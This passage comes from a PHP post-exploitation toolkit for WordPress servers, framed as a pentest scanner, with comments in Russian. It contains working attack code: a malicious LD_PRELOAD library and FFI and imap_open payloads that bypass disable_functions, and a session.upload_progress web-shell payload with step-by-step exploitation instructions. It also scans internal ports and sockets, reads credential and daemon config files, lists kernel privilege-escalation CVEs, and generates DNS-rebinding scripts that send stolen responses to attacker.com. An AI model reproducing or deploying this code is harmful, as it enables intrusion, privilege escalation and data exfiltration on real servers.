        $xmlrpc_url = $base_url . '/xmlrpc.php';
        $response = @file_get_contents($xmlrpc_url);
        if ($response && strpos($response, 'XML-RPC server accepts POST requests only') !== false) {
            $exploits['xmlrpc_enabled'] = array(
                'success' => true,
                'method' => 'XML-RPC enabled',
                'url' => $xmlrpc_url,
                'details' => 'XML-RPC is enabled. Can be used for brute-force or DDoS amplification.'
            );
        }
    }
    
    // Проверка на доступные бэкапы
    $backup_patterns = array(
        '/wp-config.php.bak', '/wp-config.php.old', '/wp-config.php~', '/.wp-config.php.swp',
        '/wp-config.txt', '/wp-config.php.save', '/wp-config.php.orig'
    );
    
    foreach ($backup_patterns as $pattern) {
        $backup_path = $wp_root . $pattern;
        if (@is_file($backup_path) && @is_readable($backup_path)) {
            $content = @file_get_contents($backup_path, false, null, 0, 1000);
            if ($content && strpos($content, 'DB_') !== false) {
                $exploits['config_backup_' . basename($pattern)] = array(
                    'success' => true,
                    'method' => 'Config backup exposed',
                    'path' => $backup_path,
                    'details' => 'WordPress config backup file is readable.'
                );
            }
        }
    }
    
    return $exploits;
}

/* ==================== ГЕНЕРАЦИЯ КОМПЛЕКСНОГО ПЕНТЕСТ-ОТЧЕТА ==================== */

/**
 * Генерация комплексного отчета пентеста
 */
function generate_pentest_report($wp_root, $save_to_file = false) {
    $report = array(
        'timestamp' => date('c'),
        'target' => $wp_root,
        'scanner_version' => APP_VER,
        'wordpress' => array(),
        'vulnerabilities' => array(),
        'database' => array(),
        'file_system' => array(),
        'bypass_results' => array(),
        'exploits' => array(),
        'risk_score' => 0,
        'recommendations' => array()
    );
    
    // Информация о WordPress
    $report['wordpress'] = array(
        'version' => wp_version($wp_root),
        'multisite' => wp_multisite_flags($wp_root),
        'urls' => wp_known_urls($wp_root),
        'is_wp' => is_wp_root($wp_root)
    );
    
    // Сканирование уязвимостей
    $report['vulnerabilities'] = wp_vulnerability_scan($wp_root);
    
    // Анализ базы данных
    $report['database'] = db_discovery_and_exploit($wp_root);
    
    // Анализ файловой системы
    $report['file_system'] = array(
        'permissions' => access_info($wp_root),
        'hidden_files' => probe_hidden_backup_dirs($wp_root),
        'security_flags' => security_flags_analysis($wp_root),
        'htaccess' => htaccess_checks($wp_root)
    );
    
    // Тесты обхода ограничений
    $report['bypass_results'] = advanced_open_basedir_bypass_with_write();
    
    // Автоматическая эксплуатация
    $report['exploits'] = auto_exploit_vulnerabilities($wp_root, $report['vulnerabilities']);
    
    // Расчет риск-скора и рекомендации
    $risk_score = 0;
    $recommendations = array();
    
    // Уязвимости ядра
    if (!empty($report['vulnerabilities']['core']['vulnerabilities'])) {
        $core_vulns = count($report['vulnerabilities']['core']['vulnerabilities']);
        $risk_score += $core_vulns * 15;
        $recommendations[] = array(
            'priority' => 'critical',
            'action' => 'Update WordPress core immediately',
            'details' => $core_vulns . ' known vulnerabilities found'
        );
    }
    
    // Уязвимости плагинов
    if (!empty($report['vulnerabilities']['plugins'])) {
        foreach ($report['vulnerabilities']['plugins'] as $plugin => $data) {
            if (!empty($data['exploitable'])) {
                $risk_score += 25;
                $recommendations[] = array(
                    'priority' => 'critical',
                    'action' => "Remove or update plugin: {$plugin}",
                    'details' => isset($data['exploitable']['description']) ? $data['exploitable']['description'] : 'Exploitable vulnerability'
                );
            } elseif (!empty($data['vulnerabilities'])) {
                $risk_score += 10;
                $recommendations[] = array(
                    'priority' => 'high',
                    'action' => "Update plugin: {$plugin}",
                    'details' => count($data['vulnerabilities']) . ' vulnerabilities found'
                );
            }
        }
    }
    
    // Проблемы конфигурации
    if (!empty($report['vulnerabilities']['configs']['issues'])) {
        foreach ($report['vulnerabilities']['configs']['issues'] as $issue) {
            $severity_scores = array('critical' => 20, 'high' => 10, 'medium' => 5, 'low' => 2);
            $risk_score += isset($severity_scores[$issue['severity']]) ? $severity_scores[$issue['severity']] : 5;
            $recommendations[] = array(
                'priority' => $issue['severity'],
                'action' => $issue['recommendation'],
                'details' => $issue['issue']
            );
        }
    }
    
    // Проблемы безопасности файлов
    if (!empty($report['file_system']['security_flags'])) {
        $sec = $report['file_system']['security_flags'];
        if (!empty($sec['wp_config_world_readable'])) {
            $risk_score += 15;
            $recommendations[] = array(
                'priority' => 'high',
                'action' => 'Fix wp-config.php permissions',
                'details' => 'File should not be world readable'
            );
        }
        if (!empty($sec['wp_config_backup_found'])) {
            $risk_score += 20;
            $recommendations[] = array(
                'priority' => 'critical',
                'action' => 'Remove wp-config.php backup files',
                'details' => 'Backup files may expose database credentials'
            );
        }
        if (!empty($sec['env_files_found'])) {
            $risk_score += 15;
            $recommendations[] = array(
                'priority' => 'high',
                'action' => 'Remove .env files from web directory',
                'details' => count($sec['env_files_found']) . ' .env files found'
            );
        }
        if (!empty($sec['git_found'])) {
            $risk_score += 10;
            $recommendations[] = array(
                'priority' => 'medium',
                'action' => 'Remove .git directory from web root',
                'details' => 'Git repository may expose source code history'
            );
        }
    }
    
    // Успешные эксплоиты
    if (!empty($report['exploits'])) {
        $risk_score += count($report['exploits']) * 20;
    }
    
    // Доступ к БД с опасными привилегиями
    if (!empty($report['database']['exploits']['has_file_privilege'])) {
        $risk_score += 25;
        $recommendations[] = array(
            'priority' => 'critical',
            'action' => 'Remove FILE privilege from database user',
            'details' => 'Database user can read/write files on server'
        );
    }
    
    $report['risk_score'] = min($risk_score, 100);
    $report['risk_level'] = $risk_score >= 70 ? 'critical' : ($risk_score >= 40 ? 'high' : ($risk_score >= 20 ? 'medium' : 'low'));
    
    // Сортировка рекомендаций по приоритету
    usort($recommendations, function($a, $b) {
        $priority_order = array('critical' => 0, 'high' => 1, 'medium' => 2, 'low' => 3);
        $a_order = isset($priority_order[$a['priority']]) ? $priority_order[$a['priority']] : 4;
        $b_order = isset($priority_order[$b['priority']]) ? $priority_order[$b['priority']] : 4;
        return $a_order - $b_order;
    });
    
    $report['recommendations'] = $recommendations;
    
    // Сохранение отчета в файл (если запрошено)
    if ($save_to_file) {
        $report_filename = 'pentest_report_' . date('Ymd_His') . '.json';
        $report_path = $wp_root . '/' . $report_filename;
        
        if (@file_put_contents($report_path, json_encode($report, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE))) {
            $report['_report_file'] = $report_path;
            $report['_report_url'] = get_site_url_from_path($wp_root) . '/' . $report_filename;
        }
    }
    
    return $report;
}

/* ==================== ПРОДВИНУТЫЕ АТАКИ (ЭТАП 2) ==================== */

/**
 * Обход disable_functions через LD_PRELOAD + mail()
 */
function bypass_disable_functions_ldpreload() {
    $results = array(
        'mail_available' => false,
        'putenv_available' => false,
        'ldpreload_possible' => false,
        'test_results' => array(),
        'disabled_functions' => array()
    );
    
    // Проверка отключенных функций
    $disabled = ini_get('disable_functions');
    $results['disabled_functions_raw'] = $disabled;
    $disabled_list = $disabled ? array_map('trim', explode(',', $disabled)) : array();
    $results['disabled_functions'] = $disabled_list;
    
    // Проверка наличия функции mail()
    $results['mail_available'] = function_exists('mail') && !in_array('mail', $disabled_list);
    
    // Проверка наличия функции putenv()
    $results['putenv_available'] = function_exists('putenv') && !in_array('putenv', $disabled_list);
    
    // LD_PRELOAD возможен если есть обе функции
    $results['ldpreload_possible'] = $results['mail_available'] && $results['putenv_available'];
    
    if ($results['ldpreload_possible']) {
        // Генерация C-кода для вредоносной библиотеки
        $evil_c_code = '
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__((constructor)) void init() {
    unsetenv("LD_PRELOAD");
    const char* cmd = getenv("CMD");
    if (cmd != NULL) {
        system(cmd);
    }
}';
        
        $results['exploit_code'] = array(
            'c_source' => $evil_c_code,
            'compile_command' => 'gcc -shared -fPIC -o /tmp/evil.so evil.c',
            'usage' => 'putenv("LD_PRELOAD=/tmp/evil.so"); putenv("CMD=whoami"); mail("a@a.a","","","","");'
        );
        
        // Тест записи в /tmp
        $test_file = '/tmp/ldp_test_' . uniqid() . '.txt';
        $can_write_tmp = @file_put_contents($test_file, 'test');
        if ($can_write_tmp) {
            @unlink($test_file);
            $results['test_results']['tmp_writable'] = true;
        } else {
            $results['test_results']['tmp_writable'] = false;
        }
        
        // Проверка наличия gcc
        $gcc_path = @shell_exec('which gcc 2>/dev/null');
        $results['test_results']['gcc_available'] = !empty(trim($gcc_path));
        
        // Проверка sendmail_path
        $sendmail_path = ini_get('sendmail_path');
        $results['sendmail_path'] = $sendmail_path;
    }
    
    // Альтернативные методы обхода
    $alternative_methods = array();
    
    // Проверка ImageMagick (CVE-2016-3714 - ImageTragick)
    if (class_exists('Imagick')) {
        $alternative_methods['imagick'] = array(
            'available' => true,
            'version' => Imagick::getVersion()
        );
    }
    
    // Проверка FFI (PHP 7.4+)
    if (class_exists('FFI')) {
        $alternative_methods['ffi'] = array(
            'available' => true,
            'exploit' => '$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami");'
        );
    }
    
    // Проверка imap_open (CVE-2018-19518)
    if (function_exists('imap_open') && !in_array('imap_open', $disabled_list)) {
        $alternative_methods['imap_open'] = array(
            'available' => true,
            'exploit' => 'imap_open("{localhost:143/imap}INBOX", "", "", 0, 1, array("DISABLE_AUTHENTICATOR" => "x]});system(\"whoami\");"))'
        );
    }
    
    $results['alternative_methods'] = $alternative_methods;
    
    return $results;
}

/**
 * Атаки через разделяемую память (shmop, shm_*)
 */
function shared_memory_attacks() {
    $results = array(
        'functions_available' => array(),
        'segments_found' => array(),
        'exploits' => array()
    );
    
    // Проверка доступных функций
    $shm_functions = array('shmop_open', 'shmop_read', 'shmop_write', 'shmop_size', 'shmop_close', 'shmop_delete',
                           'shm_attach', 'shm_get_var', 'shm_put_var', 'shm_remove', 'shm_detach',
                           'sem_get', 'sem_acquire', 'sem_release', 'msg_get_queue', 'msg_send', 'msg_receive');
    
    foreach ($shm_functions as $func) {
        if (function_exists($func)) {
            $results['functions_available'][] = $func;
        }
    }
    
    if (empty($results['functions_available'])) {
        $results['message'] = 'No shared memory functions available';
        return $results;
    }
    
    // Попытка чтения известных сегментов памяти
    $common_keys = array(0xDEADBEEF, 0xCAFEBABE, 12345, 54321, 9999, 1234, 5678, 11111, 22222, 33333);
    
    // Для shmop
    if (function_exists('shmop_open')) {
        foreach ($common_keys as $key) {
            // Пробуем открыть существующий сегмент для чтения
            $shmid = @shmop_open($key, "a", 0, 0);
            if ($shmid !== false) {
                $size = @shmop_size($shmid);
                $data = @shmop_read($shmid, 0, min($size, 1024));
                $results['segments_found'][] = array(
                    'key' => '0x' . dechex($key),
                    'key_dec' => $key,
                    'size' => $size,
                    'data_preview' => substr($data, 0, 100),
                    'hex_preview' => bin2hex(substr($data, 0, 50)),
                    'method' => 'shmop'
                );
                @shmop_close($shmid);
            }
        }
        
        // Тест создания нового сегмента
        $test_key = ftok(__FILE__, 't');
        $test_shmid = @shmop_open($test_key, "c", 0644, 100);
        if ($test_shmid !== false) {
            $results['exploits']['can_create_segment'] = true;
            @shmop_write($test_shmid, "test_data", 0);
            @shmop_delete($test_shmid);
            @shmop_close($test_shmid);
        }
    }
    
    // Для shm_attach (System V)
    if (function_exists('shm_attach')) {
        foreach ($common_keys as $key) {
            $shm = @shm_attach($key, 1024, 0644);
            if ($shm !== false) {
                // Попытка прочитать переменные
                for ($i = 0; $i < 10; $i++) {
                    $var = @shm_get_var($shm, $i);
                    if ($var !== false) {
                        $results['segments_found'][] = array(
                            'key' => '0x' . dechex($key),
                            'variable_index' => $i,
                            'value' => is_string($var) ? substr($var, 0, 100) : print_r($var, true),
                            'method' => 'shm_attach'
                        );
                    }
                }
                @shm_detach($shm);
            }
        }
    }
    
    // Проверка /dev/shm
    if (@is_dir('/dev/shm')) {
        $shm_files = @scandir('/dev/shm');
        if ($shm_files) {
            $results['dev_shm_files'] = array();
            foreach ($shm_files as $file) {
                if ($file === '.' || $file === '..') continue;
                $full_path = '/dev/shm/' . $file;
                $results['dev_shm_files'][] = array(
                    'name' => $file,
                    'path' => $full_path,
                    'readable' => @is_readable($full_path),
                    'writable' => @is_writable($full_path),
                    'size' => @filesize($full_path)
                );
            }
        }
    }
    
    return $results;
}

/**
 * Эксплуатация session.upload_progress
 */
function session_upload_progress_attack() {
    $results = array(
        'config' => array(),
        'vulnerable' => false,
        'attack_vector' => null,
        'session_file' => null
    );
    
    // Проверка конфигурации
    $results['config'] = array(
        'session.upload_progress.enabled' => ini_get('session.upload_progress.enabled'),
        'session.upload_progress.cleanup' => ini_get('session.upload_progress.cleanup'),
        'session.upload_progress.prefix' => ini_get('session.upload_progress.prefix'),
        'session.upload_progress.name' => ini_get('session.upload_progress.name'),
        'session.upload_progress.freq' => ini_get('session.upload_progress.freq'),
        'session.upload_progress.min_freq' => ini_get('session.upload_progress.min_freq'),
        'session.save_path' => ini_get('session.save_path'),
        'session.serialize_handler' => ini_get('session.serialize_handler')
    );
    
    $upload_progress_enabled = ini_get('session.upload_progress.enabled');
    $cleanup_enabled = ini_get('session.upload_progress.cleanup');
    
    if ($upload_progress_enabled) {
        $results['vulnerable'] = true;
        
        // Получаем или создаем сессию
        if (session_status() !== PHP_SESSION_ACTIVE) {
            @session_start();
        }
        $session_id = session_id();
        
        // Генерация POST запроса для атаки
        $progress_name = ini_get('session.upload_progress.name');
        if (!$progress_name) $progress_name = 'PHP_SESSION_UPLOAD_PROGRESS';
        
        $boundary = '----WebKitFormBoundary' . uniqid();
        $payload = '<?php system($_GET["c"]); ?>';
        
        $post_data = "--{$boundary}\r\n";
        $post_data .= "Content-Disposition: form-data; name=\"{$progress_name}\"\r\n\r\n";
        $post_data .= $payload . "\r\n";
        $post_data .= "--{$boundary}\r\n";
        $post_data .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.txt\"\r\n";
        $post_data .= "Content-Type: text/plain\r\n\r\n";
        $post_data .= str_repeat("A", 1024 * 1024) . "\r\n"; // 1MB для замедления
        $post_data .= "--{$boundary}--\r\n";
        
        $results['attack_vector'] = array(
            'session_id' => $session_id,
            'progress_name' => $progress_name,
            'content_type' => 'multipart/form-data; boundary=' . $boundary,
            'cookie' => 'PHPSESSID=' . $session_id,
            'post_data_preview' => substr($post_data, 0, 500) . '...',
            'cleanup_enabled' => $cleanup_enabled,
            'race_condition_needed' => $cleanup_enabled ? true : false
        );
        
        // Проверка файла сессии
        $session_path = ini_get('session.save_path');
        if (!$session_path) $session_path = sys_get_temp_dir();
        
        if (@is_dir($session_path)) {
            $session_file = rtrim($session_path, '/') . '/sess_' . $session_id;
            
            $results['session_file'] = array(
                'path' => $session_file,
                'exists' => @file_exists($session_file),
                'readable' => @is_readable($session_file),
                'writable' => @is_writable($session_file),
                'dir_writable' => @is_writable($session_path)
            );
            
            if (@is_readable($session_file)) {
                $results['session_file']['content'] = @file_get_contents($session_file);
            }
            
            // Проверка других сессий
            $sessions = @glob($session_path . '/sess_*');
            if ($sessions) {
                $results['other_sessions'] = array(
                    'count' => count($sessions),
                    'sample' => array_slice($sessions, 0, 5)
                );
            }
        }
        
        // Инструкции для эксплуатации
        $results['exploit_instructions'] = array(
            '1. Send POST request with large file to trigger upload progress',
            '2. Set Cookie: PHPSESSID=' . $session_id,
            '3. Include ' . $progress_name . ' field with PHP payload',
            '4. Use LFI to include session file: ' . ($results['session_file']['path'] ?: '/tmp/sess_' . $session_id),
            '5. If cleanup enabled, need race condition (multiple requests)'
        );
    }
    
    return $results;
}

/**
 * Атаки через OPcache
 */
function opcache_attacks() {
    $results = array(
        'config' => array(),
        'status' => null,
        'cached_files' => array(),
        'exploits' => array()
    );
    
    // Проверка конфигурации OPcache
    $results['config'] = array(
        'opcache.enable' => ini_get('opcache.enable'),
        'opcache.enable_cli' => ini_get('opcache.enable_cli'),
        'opcache.validate_timestamps' => ini_get('opcache.validate_timestamps'),
        'opcache.revalidate_freq' => ini_get('opcache.revalidate_freq'),
        'opcache.file_cache' => ini_get('opcache.file_cache'),
        'opcache.file_cache_only' => ini_get('opcache.file_cache_only'),
        'opcache.restrict_api' => ini_get('opcache.restrict_api'),
        'opcache.memory_consumption' => ini_get('opcache.memory_consumption'),
        'opcache.max_accelerated_files' => ini_get('opcache.max_accelerated_files')
    );
    
    $opcache_enabled = ini_get('opcache.enable');
    
    if ($opcache_enabled) {
        // Получение статуса OPcache
        if (function_exists('opcache_get_status')) {
            $status = @opcache_get_status(false);
            if ($status) {
                $results['status'] = array(
                    'opcache_enabled' => isset($status['opcache_enabled']) ? $status['opcache_enabled'] : false,
                    'cache_full' => isset($status['cache_full']) ? $status['cache_full'] : false,
                    'restart_pending' => isset($status['restart_pending']) ? $status['restart_pending'] : false,
                    'restart_in_progress' => isset($status['restart_in_progress']) ? $status['restart_in_progress'] : false,
                    'memory_usage' => isset($status['memory_usage']) ? $status['memory_usage'] : array(),
                    'interned_strings_usage' => isset($status['interned_strings_usage']) ? $status['interned_strings_usage'] : array()
                );
                
                // Получение кешированных скриптов
                $full_status = @opcache_get_status(true);
                if ($full_status && isset($full_status['scripts'])) {
                    $scripts = $full_status['scripts'];
                    $results['cached_files']['count'] = count($scripts);
                    $results['cached_files']['sample'] = array();
                    
                    $count = 0;
                    foreach ($scripts as $path => $info) {
                        if ($count++ >= 20) break;
                        $results['cached_files']['sample'][] = array(
                            'path' => $path,
                            'hits' => isset($info['hits']) ? $info['hits'] : 0,
                            'memory_consumption' => isset($info['memory_consumption']) ? $info['memory_consumption'] : 0,
                            'timestamp' => isset($info['timestamp']) ? date('Y-m-d H:i:s', $info['timestamp']) : ''
                        );
                    }
                }
            }
        }
        
        // Проверка file_cache
        $file_cache = ini_get('opcache.file_cache');
        if ($file_cache && @is_dir($file_cache)) {
            $results['exploits']['file_cache'] = array(
                'path' => $file_cache,
                'writable' => @is_writable($file_cache),
                'files' => @glob($file_cache . '/*')
            );
        }
        
        // Проверка возможности инвалидации
        if (function_exists('opcache_invalidate')) {
            $test_file = __FILE__;
            $results['exploits']['can_invalidate'] = @opcache_invalidate($test_file, false);
        }
        
        // Проверка возможности сброса
        if (function_exists('opcache_reset')) {
            $results['exploits']['reset_available'] = true;
        }
        
        // Проверка возможности компиляции
        if (function_exists('opcache_compile_file')) {
            $results['exploits']['compile_available'] = true;
        }
        
        // Exploit vector: перезапись кешированного файла
        if (!ini_get('opcache.validate_timestamps') || ini_get('opcache.revalidate_freq') > 0) {
            $results['exploits']['race_condition_possible'] = array(
                'validate_timestamps' => ini_get('opcache.validate_timestamps'),
                'revalidate_freq' => ini_get('opcache.revalidate_freq'),
                'description' => 'Can replace cached file and wait for revalidation'
            );
        }
    }
    
    return $results;
}

/**
 * Проверка возможности использования eBPF и namespaces
 */
function advanced_kernel_attacks() {
    $results = array(
        'user_namespace' => array(),
        'ebpf' => array(),
        'overlayfs' => array(),
        'kernel_info' => array(),
        'capabilities' => array()
    );
    
    // Информация о ядре
    $results['kernel_info'] = array(
        'release' => php_uname('r'),
        'version' => php_uname('v'),
        'machine' => php_uname('m')
    );
    
    // Проверка возможности создания user namespace
    if (function_exists('posix_getuid')) {
        $results['user_namespace']['posix_available'] = true;
        $results['user_namespace']['current_uid'] = posix_getuid();
        $results['user_namespace']['current_euid'] = posix_geteuid();
        
        // Проверка /proc/sys/kernel/unprivileged_userns_clone
        $userns_file = '/proc/sys/kernel/unprivileged_userns_clone';
        if (@is_readable($userns_file)) {
            $results['user_namespace']['unprivileged_userns_clone'] = trim(@file_get_contents($userns_file));
        }
        
        // Проверка /proc/sys/user/max_user_namespaces
        $max_userns = '/proc/sys/user/max_user_namespaces';
        if (@is_readable($max_userns)) {
            $results['user_namespace']['max_user_namespaces'] = trim(@file_get_contents($max_userns));
        }
    }
    
    // Проверка eBPF
    $ebpf_paths = array(
        '/sys/kernel/debug/tracing/' => 'tracing',
        '/sys/fs/bpf/' => 'bpf_fs',
        '/proc/sys/kernel/unprivileged_bpf_disabled' => 'bpf_disabled'
    );
    
    foreach ($ebpf_paths as $path => $name) {
        if (@file_exists($path)) {
            $info = array(
                'path' => $path,
                'exists' => true,
                'readable' => @is_readable($path),
                'writable' => @is_writable($path)
            );
            
            if ($name === 'bpf_disabled' && @is_readable($path)) {
                $info['value'] = trim(@file_get_contents($path));
            }
            
            if (@is_dir($path) && @is_readable($path)) {
                $files = @scandir($path);
                $info['contents_count'] = $files ? count($files) - 2 : 0;
            }
            
            $results['ebpf'][$name] = $info;
        }
    }
    
    // Проверка OverlayFS
    $mounts = @file_get_contents('/proc/mounts');
    if ($mounts) {
        $overlay_mounts = array();
        foreach (explode("\n", $mounts) as $line) {
            if (strpos($line, 'overlay') !== false) {
                $overlay_mounts[] = $line;
            }
        }
        $results['overlayfs']['mounts'] = $overlay_mounts;
        $results['overlayfs']['mounted'] = !empty($overlay_mounts);
    }
    
    // Проверка capabilities текущего процесса
    $cap_file = '/proc/self/status';
    if (@is_readable($cap_file)) {
        $status = @file_get_contents($cap_file);
        if (preg_match('/CapInh:\s*([0-9a-f]+)/i', $status, $m)) {
            $results['capabilities']['CapInh'] = $m[1];
        }
        if (preg_match('/CapPrm:\s*([0-9a-f]+)/i', $status, $m)) {
            $results['capabilities']['CapPrm'] = $m[1];
        }
        if (preg_match('/CapEff:\s*([0-9a-f]+)/i', $status, $m)) {
            $results['capabilities']['CapEff'] = $m[1];
        }
        if (preg_match('/CapBnd:\s*([0-9a-f]+)/i', $status, $m)) {
            $results['capabilities']['CapBnd'] = $m[1];
        }
        if (preg_match('/CapAmb:\s*([0-9a-f]+)/i', $status, $m)) {
            $results['capabilities']['CapAmb'] = $m[1];
        }
    }
    
    // Проверка seccomp
    if (@is_readable($cap_file)) {
        if (preg_match('/Seccomp:\s*(\d+)/', $status, $m)) {
            $results['seccomp'] = array(
                'mode' => $m[1],
                'description' => $m[1] == '0' ? 'Disabled' : ($m[1] == '1' ? 'Strict' : 'Filter')
            );
        }
    }
    
    // Известные уязвимости ядра для проверки
    $results['kernel_vulns_to_check'] = array(
        'CVE-2021-3493' => 'OverlayFS privilege escalation (< 5.11)',
        'CVE-2021-22555' => 'Netfilter heap OOB write (< 5.12)',
        'CVE-2022-0847' => 'Dirty Pipe (5.8 - 5.16.11)',
        'CVE-2022-2588' => 'route4 UAF (< 5.19)',
        'CVE-2023-0386' => 'OverlayFS (< 6.2)',
        'CVE-2023-32233' => 'Netfilter nf_tables (< 6.4)'
    );
    
    return $results;
}

/**
 * DNS Rebinding подготовка
 */
function dns_rebinding_prepare() {
    $results = array(
        'local_services' => array(),
        'dns_rebinding_payloads' => array(),
        'internal_ips' => array()
    );
    
    // Определение внутренних IP
    $internal_ips = array('127.0.0.1', 'localhost');
    
    // Добавляем IP сервера
    if (!empty($_SERVER['SERVER_ADDR'])) {
        $internal_ips[] = $_SERVER['SERVER_ADDR'];
    }
    
    // Проверка Docker bridge
    $docker_ip = '172.17.0.1';
    if (@fsockopen($docker_ip, 80, $errno, $errstr, 0.5)) {
        $internal_ips[] = $docker_ip;
    }
    
    $results['internal_ips'] = array_unique($internal_ips);
    
    // Сканирование локальных портов
    $common_ports = array(
        80 => 'HTTP',
        443 => 'HTTPS', 
        3306 => 'MySQL',
        5432 => 'PostgreSQL',
        6379 => 'Redis',
        27017 => 'MongoDB',
        11211 => 'Memcached',
        8080 => 'HTTP-ALT',
        9000 => 'PHP-FPM',
        9200 => 'Elasticsearch'
    );
    
    $open_ports = array();
    foreach ($internal_ips as $host) {
        foreach ($common_ports as $port => $service) {
            $fp = @fsockopen($host, $port, $errno, $errstr, 0.3);
            if ($fp) {
                $open_ports[] = array(
                    'host' => $host,
                    'port' => $port,
                    'service' => $service
                );
                @fclose($fp);
            }
        }
    }
    
    $results['local_services'] = $open_ports;
    
    // Генерация DNS Rebinding payloads
    foreach ($open_ports as $service) {
        $target = $service['host'] . ':' . $service['port'];
        
        $results['dns_rebinding_payloads'][] = array(
            'target' => $target,
            'service' => $service['service'],
            'html_payload' => '<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://your-rebind-domain.com:' . $service['port'] . '/", true);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        new Image().src = "http://attacker.com/steal?data=" + btoa(xhr.responseText);
    }
};
xhr.send();
</script>',
            'fetch_payload' => 'fetch("http://your-rebind-domain.com:' . $service['port'] . '/").then(r=>r.text()).then(d=>fetch("http://attacker.com/steal?d="+btoa(d)))'
        );
    }
    
    return $results;
}

/**
 * Поиск и атака на дополнительные демоны
 */
function find_and_attack_daemons() {
    $results = array(
        'daemons_found' => array(),
        'open_ports' => array(),
        'config_files' => array(),
        'socket_files' => array()
    );
    
    // Сканирование расширенного списка портов
    $daemon_ports = array(
        3000 => 'Node.js/Express',
        3001 => 'Node.js/React Dev',
        4000 => 'GraphQL',
        5000 => 'Flask/Gunicorn',
        5001 => 'Flask Dev',
        8000 => 'Django/Python',
        8001 => 'Django Alt',
        8080 => 'Tomcat/Jenkins',
        8081 => 'HTTP Proxy',
        8443 => 'HTTPS Alt',
        9000 => 'PHP-FPM',
        9001 => 'Supervisor',
        9090 => 'Prometheus',
        9200 => 'Elasticsearch HTTP',
        9300 => 'Elasticsearch Transport',
        27017 => 'MongoDB',
        28017 => 'MongoDB Web',
        6379 => 'Redis',
        11211 => 'Memcached',
        5984 => 'CouchDB',
        5986 => 'CouchDB Admin',
        15672 => 'RabbitMQ Management',
        5672 => 'RabbitMQ AMQP',
        8161 => 'ActiveMQ Web',
        61613 => 'ActiveMQ STOMP',
        61614 => 'ActiveMQ WS',
        2375 => 'Docker API',
        2376 => 'Docker TLS',
        10250 => 'Kubernetes kubelet',
        10255 => 'Kubernetes kubelet read-only'
    );
    
    $open_ports = array();
    foreach ($daemon_ports as $port => $service) {
        $fp = @fsockopen('127.0.0.1', $port, $errno, $errstr, 0.3);
        if ($fp) {
            // Попытка определить сервис
            @fwrite($fp, "GET / HTTP/1.0\r\nHost: localhost\r\n\r\n");
            @stream_set_timeout($fp, 1);
            $response = @fread($fp, 2048);
            @fclose($fp);
            
            $detected_service = $service;
            if (strpos($response, 'redis') !== false) $detected_service = 'Redis';
            elseif (strpos($response, 'MongoDB') !== false) $detected_service = 'MongoDB';
            elseif (strpos($response, 'Elasticsearch') !== false) $detected_service = 'Elasticsearch';
            elseif (strpos($response, 'Docker') !== false) $detected_service = 'Docker API';
            elseif (strpos($response, 'Express') !== false || strpos($response, 'node') !== false) $detected_service = 'Node.js';
            elseif (strpos($response, 'nginx') !== false) $detected_service = 'Nginx';
            elseif (strpos($response, 'Apache') !== false) $detected_service = 'Apache';
            
            $open_ports[] = array(
                'port' => $port,
                'expected_service' => $service,
                'detected_service' => $detected_service,
                'response_preview' => substr($response, 0, 300),
                'response_length' => strlen($response)
            );
        }
    }
    
    $results['open_ports'] = $open_ports;
    
    // Поиск конфигурационных файлов
    $config_patterns = array(
        '/etc/redis/redis.conf' => 'Redis',
        '/etc/redis.conf' => 'Redis',
        '/etc/mongod.conf' => 'MongoDB',
        '/etc/mongodb.conf' => 'MongoDB',
        '/etc/elasticsearch/elasticsearch.yml' => 'Elasticsearch',
        '/etc/rabbitmq/rabbitmq.config' => 'RabbitMQ',
        '/etc/memcached.conf' => 'Memcached',
        '/etc/docker/daemon.json' => 'Docker',
        '/var/lib/redis/dump.rdb' => 'Redis Data',
        '/etc/supervisor/supervisord.conf' => 'Supervisor',
        '/etc/supervisord.conf' => 'Supervisor'
    );
    
    $found_configs = array();
    foreach ($config_patterns as $config => $service) {
        if (@file_exists($config)) {
            $found_configs[] = array(
                'path' => $config,
                'service' => $service,
                'readable' => @is_readable($config),
                'writable' => @is_writable($config),
                'size' => @filesize($config),
                'preview' => @is_readable($config) ? substr(@file_get_contents($config), 0, 500) : null
            );
        }
    }
    
    $results['config_files'] = $found_configs;
    
    // Поиск Unix сокетов
    $socket_patterns = array(
        '/var/run/docker.sock' => 'Docker',
        '/var/run/mysqld/mysqld.sock' => 'MySQL',
        '/var/lib/mysql/mysql.sock' => 'MySQL',
        '/tmp/mysql.sock' => 'MySQL',
        '/var/run/php-fpm.sock' => 'PHP-FPM',
        '/var/run/php/php-fpm.sock' => 'PHP-FPM',
        '/var/run/php/php7.4-fpm.sock' => 'PHP-FPM 7.4',
        '/var/run/php/php8.0-fpm.sock' => 'PHP-FPM 8.0',
        '/var/run/php/php8.1-fpm.sock' => 'PHP-FPM 8.1',
        '/var/run/php/php8.2-fpm.sock' => 'PHP-FPM 8.2',
        '/var/run/redis/redis.sock' => 'Redis',
        '/tmp/redis.sock' => 'Redis',
        '/var/run/memcached/memcached.sock' => 'Memcached'
    );
    
    foreach ($socket_patterns as $socket => $service) {
        if (@file_exists($socket)) {
            $results['socket_files'][] = array(
                'path' => $socket,
                'service' => $service,
                'readable' => @is_readable($socket),
                'writable' => @is_writable($socket),
                'type' => filetype($socket)
            );
        }
    }
    
    return $results;
}

/**
 * Проверка CORS уязвимостей
 */
function cors_vulnerability_check($target_url) {
    $results = array();
    
    if (!$target_url) {
        return array('error' => 'Target URL required');
    }
    
    // Тестовые Origin заголовки
    $parsed = parse_url($target_url);
    $target_host = isset($parsed['host']) ? $parsed['host'] : '';
    
    $test_origins = array(
        'https://attacker.com',
        'http://evil.com',
        'null',
        $target_url,
        'https://' . $target_host . '.attacker.com',
        'https://attacker.' . $target_host,
        'http://' . $target_host,
        'https://sub.' . $target_host
    );
    
    foreach ($test_origins as $origin) {
        $context = stream_context_create(array(
            'http' => array(
                'method' => 'GET',
                'header' => "Origin: {$origin}\r\nUser-Agent: Mozilla/5.0\r\n",
                'timeout' => 5,
                'ignore_errors' => true
            ),
            'ssl' => array(
                'verify_peer' => false,
                'verify_peer_name' => false
            )
        ));
        
        $response = @file_get_contents($target_url, false, $context);
        $headers = isset($http_response_header) ? $http_response_header : array();
        
        $cors_headers = array();
        $acao = '';
        $acac = false;
        
        foreach ($headers as $header) {
            if (stripos($header, 'Access-Control-') === 0) {
